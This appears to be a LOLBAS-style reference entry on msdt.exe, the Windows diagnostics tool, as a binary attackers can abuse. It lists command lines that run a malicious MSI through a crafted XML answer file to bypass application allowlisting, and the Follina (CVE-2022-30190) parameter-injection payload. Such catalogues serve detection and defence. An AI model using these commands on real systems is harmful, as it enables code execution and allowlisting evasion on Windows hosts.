Microsoft diagnostics tool Located at: C:\Windows\System32\Msdt.exe; C:\Windows\SysWOW64\Msdt.exe.
msdtmsdtSandbox: execFile · Timeout: 30s
security.execution.command security.defense-evasion.bypass Outputs
process.output Command execution output
process_spawn Produces
process.output| Resource | Value |
|---|---|
| CPU | low |
| Memory | 16 MB |
| Network | low |
| Disk I/O | low |
Executes the Microsoft Diagnostics Tool and executes the malicious .MSI referenced in the .xml file. (Execute code)
msdt.exe -path C:\WINDOWS\diagnostics\index\PCWDiagnostic.xml -af {PATH_ABSOLUTE:.xml} /skip TRUEExecutes the Microsoft Diagnostics Tool and executes the malicious .MSI referenced in the .xml file. (Execute code bypass Application whitelisting)
msdt.exe -path C:\WINDOWS\diagnostics\index\PCWDiagnostic.xml -af {PATH_ABSOLUTE:.xml} /skip TRUEExecutes arbitrary commands using the Microsoft Diagnostics Tool and leveraging the "PCWDiagnostic" module (CVE-2022-30190). Note that this specific technique will not work on a patched system with the June 2022 Windows Security update. (Execute code bypass Application allowlisting)
msdt.exe /id PCWDiagnostic /skip force /param "IT_LaunchMethod=ContextMenu IT_BrowseForFile=/../../$(calc).exe"msdt is a Windows LOLBin. Microsoft diagnostics tool Located at: C:\Windows\System32\Msdt.exe; C:\Windows\SysWOW64\Msdt.exe.